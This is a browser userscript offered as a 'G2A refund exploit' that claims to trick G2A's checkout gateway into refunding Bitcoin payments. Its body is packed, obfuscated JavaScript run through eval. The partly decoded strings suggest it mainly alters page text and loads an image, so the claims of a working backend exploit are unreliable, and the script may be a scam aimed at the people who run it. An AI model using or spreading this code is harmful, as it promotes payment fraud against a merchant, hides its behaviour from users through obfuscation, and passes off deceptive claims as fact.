// ==UserScript== // @name G2А Refund Exploit | August 2022 - https://www.dropbox.com/s/jlf7fdz8asinrxv/G2A%20refund%20exploit.pdf?dl=0 // @namespace Bounty // @version 1.3 // @description G2А refund exploit. This exploit will trick the payment gateway in G2A to get a refund on all BTC payments. // @author @VQ_Moe // @match https://checkout.pay.g2a.com/* // @grant none // ==/UserScript== eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('l d=["\\q\\a\\b\\g\\a\\f\\i\\n\\k\\f","\\F\\12\\p\\j\\m\\n\\f\\g\\a\\q\\k\\k\\b\\a\\a\\I\\q\\j\\j\\x\\g\\b\\h\\v\\V\\j\\b\\r\\W\\g\\R\\i\\b\\a\\a\\g\\J\\K\\g\\f\\m\\g\\k\\m\\h\\f\\n\\h\\q\\b\\w","\\i\\m\\X","\\s\\b\\f\\F\\j\\b\\o\\b\\h\\f\\a\\M\\x\\O\\j\\v\\a\\a\\H\\v\\o\\b","\\n\\h\\h\\b\\i\\Y\\N\\Z\\S","\\M\\N\\O\\g\\v\\r\\r\\i\\b\\a\\a\\C\\g\\D\\R\\u\\t\\y\\U\\H\\h\\S\\a\\P\\b\\I\\y\\T\\u\\p\\t\\o\\B\\D\\t\\11\\P\\13\\L\\p\\1b\\t\\y\\14\\x\\15\\L","\\a\\i\\k","\\k\\m\\r\\b","\\u\\f\\f\\p\\a\\C\\z\\z\\n\\w\\n\\o\\s\\q\\i\\w\\k\\m\\o\\z\\r\\16\\B\\J\\s\\K\\i\\w\\p\\h\\s","\\j\\b\\h\\s\\f\\u"];l e=[d[0],d[1],d[2],d[3],d[4],d[5],d[6],d[7],d[8],d[9]];e[0];l c=[e[1],e[2],e[3],e[4],e[5],e[6],e[7],e[8],e[9]];18(c[0]);l G=19(1a(){l Q=A[c[2]](c[1]);Q[1][c[3]]=c[4];A[c[2]](c[6])[0][c[5]]=c[7];l E=A[c[2]](c[6]);1c(E[c[8]]>0){17(G)}},10)',62,75,'||||||||||x73|x65|_0x128a|_0xbd04|_0x8824|x74|x20|x6E|x72|x6C|x63|var|x6F|x69|x6D|x70|x75|x64|x67|x52|x68|x61|x2E|x79|x59|x2F|document|x33|x3A|x31|_0x9474x5|x45|_0x4892da|x4E|x66|x4F|x4B|x32|x42|x54|x43|x39|_0x9474x4|x50|x4C|x56|x44|x62|x21|x77|x48|x4D||x4A|x78|x41|x58|x35|x37|clearInterval|alert|setInterval|function|x5A|if'.split('|'),0,{})) //Backend-Exploit | Status: Working //(status auto updates if any changes have been made.